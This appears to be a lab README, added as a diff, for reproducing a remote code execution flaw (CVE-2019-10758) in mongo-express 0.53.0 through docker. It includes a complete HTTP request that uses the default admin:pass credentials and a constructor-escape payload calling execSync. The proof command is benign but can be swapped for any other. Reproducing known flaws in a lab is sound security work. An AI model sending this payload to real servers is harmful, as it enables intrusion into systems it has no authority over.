+# Mongo Express Remote Code Execution (CVE-2019-10758)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+mongo-express is a third-party Web interface for MongoDB, developed using Node.js and Express. If an attacker can successfully log in, or if the target server hasn't changed the default credentials (`admin:pass`), they can execute arbitrary Node.js code.
+
+## Environment Setup
+
+Execute the following command to start mongo-express version 0.53.0:
+
+```bash
+docker compose up -d
+```
+
+After the environment starts, visit `http://your-ip:8081` to access the Web interface.
+
+## Vulnerability Reproduction
+
+Send the following HTTP request to execute the code `this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")`:
+
+```
+POST /checkValid HTTP/1.1
+Host: your-ip
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Authorization: Basic YWRtaW46cGFzcw==
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 124
+
+document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")
+```
+
+As you can see, the `touch /tmp/success` command has been executed successfully:
